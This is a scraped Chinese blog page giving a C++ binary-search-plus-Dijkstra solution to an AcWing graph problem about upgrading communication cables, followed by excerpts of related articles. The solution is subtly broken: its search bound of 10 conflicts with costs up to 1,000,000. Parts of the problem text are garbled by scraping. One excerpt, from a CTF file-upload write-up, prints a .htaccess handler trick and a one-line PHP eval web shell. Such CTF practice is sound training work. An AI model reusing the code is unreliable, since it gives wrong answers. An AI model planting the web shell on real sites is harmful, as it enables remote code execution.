当前位置: 首页 > news >正文

二分,Dijkstra,340. 通信线路

在郊区有 N 座通信基站,P 条 双向 电缆,第 i 条电缆连接基站 Ai 和 Bi。

特别地,1 号基站是通信公司的总站,N 号基站位于一座农场中。

现在,农场主希望对通信线路进行升级,其中升级第 i 条电缆需要花费 Li。

电话公司正在举行优惠活动。

农产主可以指定一条从 1 号基站到 N 号基站的路径,并指定路径上不超过 K 条电缆,由电话公司免费提供升级服务。

农场主只需要支付在该路径上剩余的电缆中,升级价格最贵的那条电缆的花费即可。

求至少用多少钱可以完成升级。

输入格式

第 11 行:三个整数 N,P,K

第 2..P+12.. 行:第 i+1 行包含三个整数 Ai,Bi,Li

输出格式

包含一个整数表示最少花费。

若 11 号基站与 N� 号基站之间不存在路径,则输出 −1−1。

数据范围

0≤K<N≤1000
1≤P≤10000
1≤Li≤1000000

输入样例:

5 7 1
1 2 5
3 1 4
2 4 8
3 2 3
5 2 9
3 4 7
4 5 6

输出样例:

4

 解析:

(此题还可用最短路中的分层图解,详情请看最短路分栏spfa,分层图,340. 通信线路,《算法竞赛进阶指南》_Landing_on_Mars的博客-CSDN博客)

详细思路请参考AcWing 340. 通信线路(二分答案+dijkstra) - AcWing

#include<iostream>
#include<cstdio>
#include<cstdlib>
#include<string>
#include<cstring>
#include<cmath>
#include<ctime>
#include<algorithm>
#include<utility>
#include<stack>
#include<queue>
#include<vector>
#include<set>
#include<map>
using namespace std;
typedef long long LL;
const int N = 1e3 + 5;
int n, m, k;
vector<pair<int, int>>G[N];
int d[N], v[N];typedef struct st {int u, w;
}st;bool operator>(const st& a, const st& b) {return a.w > b.w;
}int dij(int w) {memset(d, 0x3f3f3f3f, sizeof(d));memset(v, 0, sizeof(v));priority_queue<st, vector<st>, greater<st>>q;q.push({ 1,0 });d[1] = 0;int t;while (!q.empty()) {t = q.top().u;q.pop();if (v[t])continue;v[t] = 1;for (int i = 0; i < G[t].size(); i++) {int j = G[t][i].first, dist = G[t][i].second>w?1:0;if (d[j] > d[t] + dist) {d[j] = d[t] + dist;q.push({ j,d[j] });}}}if (d[n] == 0x3f3f3f3f)return d[n];return d[n] <= k;
}int main() {cin >> n >> m >> k;for (int i = 1,a,b,t; i <= m; i++) {scanf("%d%d%d", &a, &b, &t);G[a].push_back({ b,t });G[b].push_back({ a,t });}int l = 0, r = 10, mid,ans=0,tt;while (l<=r) {mid = l + (r - l) / 2;tt = dij(mid);if (tt == 0x3f3f3f3f) {cout << -1 << endl;break;}if (tt) {r = mid-1;}else {l = mid+1;ans = mid;}}if (tt != 0x3f3f3f3f)cout << ans << endl;return 0;
}

相关文章:

二分,Dijkstra,340. 通信线路

在郊区有 N 座通信基站&#xff0c;P 条 双向 电缆&#xff0c;第 i 条电缆连接基站 Ai 和 Bi。 特别地&#xff0c;1 号基站是通信公司的总站&#xff0c;N 号基站位于一座农场中。 现在&#xff0c;农场主希望对通信线路进行升级&#xff0c;其中升级第 i 条电缆需要花费 L…...

Stable Diffusion---Ai绘画-下载-入门-进阶(笔记整理)

前言 注&#xff1a;本文偏向于整理&#xff0c;都是跟着大佬们学的。 推荐两个b站up主&#xff0c;学完他们俩的东西基本就玩转SD为底的ai绘画&#xff1a; 秋葉aaaki&#xff0c;Nenly同学 1.首先SD主流的就是秋叶佬的Webui了&#xff0c;直接压缩包下载即可&#xff0c;下…...

Java 乘等赋值运算

下面这个题目是在一公司发过来的&#xff0c;如果你对 Java 的赋值运算比较了解的话&#xff0c;会很快知道答案的。 这个运算符在 Java 里面叫做乘等或者乘和赋值操作符&#xff0c;它把左操作数和右操作数相乘赋值给左操作数。 例如下面的&#xff1a;density * invertedRat…...

【性能优化】聊聊性能优化那些事

针对于互联网应用来说&#xff0c;性能优化其实就是一直需要做的事情&#xff0c;因为系统响应慢&#xff0c;是非常影响用户的体验&#xff0c;可能回造成用户流失。所以对于性能非常重要。最近正好接到一个性能优化的需求&#xff0c;需要对所负责的系统进行性能提升。目前接…...

k8s 查看加入主节点命令 k8s重新查看加入节点命令 k8s输入删除,重新查看加入命令 kuberadm查看加入节点命令

1. 使用kuberadm 安装成功后&#xff0c;clear清除了屏幕数据&#xff0c;加入命令无法查看&#xff0c;使用如下&#xff0c;重新查看node如何加入主节点命令&#xff1a; kubeadm token create --print-join-command --ttl 0 2.画圈的全部是&#xff0c;都复制&#xff0c;在…...

Scalene:Python CPU+GPU+内存分析器,具有人工智能驱动的优化建议

一、前言 Python 是一种广泛使用的编程语言&#xff0c;通常与其他语言编写的库一起使用。在这种情况下&#xff0c;如何提高性能和内存使用率可能会变得很复杂。但是&#xff0c;现在有一个解决方案&#xff0c;可以轻松地解决这些问题 - 分析器。 分析器旨在找出哪些代码段…...

C语言练习8(巩固提升)

C语言练习8 编程题 前言 奋斗是曲折的&#xff0c;“为有牺牲多壮志&#xff0c;敢教日月换新天”&#xff0c;要奋斗就会有牺牲&#xff0c;我们要始终发扬大无畏精神和无私奉献精神。奋斗者是精神最为富足的人&#xff0c;也是最懂得幸福、最享受幸福的人。正如马克思所讲&am…...

Java匿名内部类

文章目录 前言一、使用匿名内部类需要注意什么&#xff1f;二、使用步骤匿名内部类的结构匿名内部类的实用场景1. 事件监听器2. 过滤器3. 线程4. 实现接口5.单元测试&#xff1a;6.GUI编程7.回调函数 前言 Java中的匿名内部类是一种可以在声明时直接创建对象的内部类。这种内部…...

Shiro和SpringSecurity的区别

文章目录 前言1.Shiro&#xff1a;Shiro的特点&#xff1a; 2.SpringSecurity&#xff1a;SpringSecurity特点&#xff1a; 3.对比&#xff1a;总结 前言 Shiro 和 Spring Security 都是用于在Java应用程序中实现身份验证&#xff08;Authentication&#xff09;和授权&#x…...

【STM32】学习笔记(OLED)

调试方式 OLED简介 硬件电路 驱动函数 OLED.H #ifndef __OLED_H #define __OLED_Hvoid OLED_Init(void); void OLED_Clear(void); void OLED_ShowChar(uint8_t Line, uint8_t Column, char Char); void OLED_ShowString(uint8_t Line, uint8_t Column, char *String); void OL…...

概念解析 | 认知雷达:有大脑的雷达

注1:本文系“概念解析”系列之一,致力于简洁清晰地解释、辨析复杂而专业的概念。本次辨析的概念是:认知雷达。 认知雷达:有大脑的雷达 1.背景介绍 对于传统的雷达,它们通常都是预设定参数和模式来进行工作,比如发射功率、波形、扫描模式等。然而,这种方式面临着一些挑…...

B. Long Long

time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today Alex was brought array a1,a2,…,an&#xfffd;1,&#xfffd;2,…,&#xfffd;&#xfffd; of length n&#xfffd;. He can apply as m…...

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…...

Python中的绝对和相对导入

在本文中&#xff0c;我们将看到Python中的绝对和相对导入。 Python中导入的工作 Python中的import类似于C/C中的#include header_file。Python模块可以通过使用import导入文件/函数来访问其他模块的代码。import语句是调用import机制的最常见方式&#xff0c;但它不是唯一的…...

C语言关于与运算符

C语言关于&与&&运算符 我们知道&#xff0c;在很多场景中&和&&通常可以相互代替&#xff0c;那么它们到底有什么不同呢&#xff1f; 先看一段代码 bool a, b, c; c a & b;使用clang -S编译出来的指令如下&#xff1a; movb -5(%rbp), %al …...

计算机网络(速率、宽带、吞吐量、时延、发送时延)

速率&#xff1a; 最重要的一个性能指标。 指的是数据的传送速率&#xff0c;也称为数据率 (data rate) 或比特率 (bit rate)。 单位&#xff1a;bit/s&#xff0c;或 kbit/s、Mbit/s、 Gbit/s 等。 例如 4 1010 bit/s 的数据率就记为 40 Gbit/s。 速率往往是指额定速率或…...

kubectl入门

一.kubectl的三种资源管理方式&#xff1a; 二. kubectl资源介绍&#xff1a; 1.namespace&#xff1a;实现多套环境的资源隔离或者多租户的资源隔离。k8s中的pod默认可以相互访问&#xff0c;如果不想让两个pod之间相互访问&#xff0c;就将其划分到不同ns下。 2.pod&#xff…...

Android JNI系列详解之ndk-build工具的使用

一、Android项目中使用ndk-build工具编译库文件 之前介绍过CMake编译工具的使用&#xff0c;今天介绍一种ndk自带的编译工具ndk-build的使用。 ndk-build目前主要有两种配置使用方式&#xff1a; 如上图所示&#xff0c;第一种方式是Android.mkApplication.mkgradle的方式生成…...

【业务功能篇90】微服务-springcloud-检索服务-ElasticSearch实战运用-DSL语句

商城检索服务 1.检索页面的搭建 商品检索页面我们放在search服务中处理&#xff0c;首页我们需要在mall-search服务中支持Thymeleaf。添加对应的依赖 <!-- 添加Thymeleaf的依赖 --><dependency><groupId>org.springframework.boot</groupId><artifa…...

QTday4

实现闹钟功能 1》 头文件 #ifndef BURGER_H #define BURGER_H#include <QWidget> #include <QLabel> #include <QLineEdit> #include <QPushButton> #include <QTextEdit> #include <QTimerEvent> //定时器事件类 #include <QDateTim…...

可靠性+灵活性:电力载波技术在楼宇自控中的核心价值

可靠性灵活性&#xff1a;电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中&#xff0c;电力载波技术&#xff08;PLC&#xff09;凭借其独特的优势&#xff0c;正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据&#xff0c;无需额外布…...

汽车生产虚拟实训中的技能提升与生产优化​

在制造业蓬勃发展的大背景下&#xff0c;虚拟教学实训宛如一颗璀璨的新星&#xff0c;正发挥着不可或缺且日益凸显的关键作用&#xff0c;源源不断地为企业的稳健前行与创新发展注入磅礴强大的动力。就以汽车制造企业这一极具代表性的行业主体为例&#xff0c;汽车生产线上各类…...

2021-03-15 iview一些问题

1.iview 在使用tree组件时&#xff0c;发现没有set类的方法&#xff0c;只有get&#xff0c;那么要改变tree值&#xff0c;只能遍历treeData&#xff0c;递归修改treeData的checked&#xff0c;发现无法更改&#xff0c;原因在于check模式下&#xff0c;子元素的勾选状态跟父节…...

解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错

出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上&#xff0c;所以报错&#xff0c;到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本&#xff0c;cu、torch、cp 的版本一定要对…...

工业自动化时代的精准装配革新:迁移科技3D视觉系统如何重塑机器人定位装配

AI3D视觉的工业赋能者 迁移科技成立于2017年&#xff0c;作为行业领先的3D工业相机及视觉系统供应商&#xff0c;累计完成数亿元融资。其核心技术覆盖硬件设计、算法优化及软件集成&#xff0c;通过稳定、易用、高回报的AI3D视觉系统&#xff0c;为汽车、新能源、金属制造等行…...

【Redis】笔记|第8节|大厂高并发缓存架构实战与优化

缓存架构 代码结构 代码详情 功能点&#xff1a; 多级缓存&#xff0c;先查本地缓存&#xff0c;再查Redis&#xff0c;最后才查数据库热点数据重建逻辑使用分布式锁&#xff0c;二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...

push [特殊字符] present

push &#x1f19a; present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中&#xff0c;push 和 present 是两种不同的视图控制器切换方式&#xff0c;它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…...

Python 实现 Web 静态服务器(HTTP 协议)

目录 一、在本地启动 HTTP 服务器1. Windows 下安装 node.js1&#xff09;下载安装包2&#xff09;配置环境变量3&#xff09;安装镜像4&#xff09;node.js 的常用命令 2. 安装 http-server 服务3. 使用 http-server 开启服务1&#xff09;使用 http-server2&#xff09;详解 …...

Ubuntu Cursor升级成v1.0

0. 当前版本低 使用当前 Cursor v0.50时 GitHub Copilot Chat 打不开&#xff0c;快捷键也不好用&#xff0c;当看到 Cursor 升级后&#xff0c;还是蛮高兴的 1. 下载 Cursor 下载地址&#xff1a;https://www.cursor.com/cn/downloads 点击下载 Linux (x64) &#xff0c;…...

HybridVLA——让单一LLM同时具备扩散和自回归动作预测能力:训练时既扩散也回归,但推理时则扩散

前言 如上一篇文章《dexcap升级版之DexWild》中的前言部分所说&#xff0c;在叠衣服的过程中&#xff0c;我会带着团队对比各种模型、方法、策略&#xff0c;毕竟针对各个场景始终寻找更优的解决方案&#xff0c;是我个人和我司「七月在线」的职责之一 且个人认为&#xff0c…...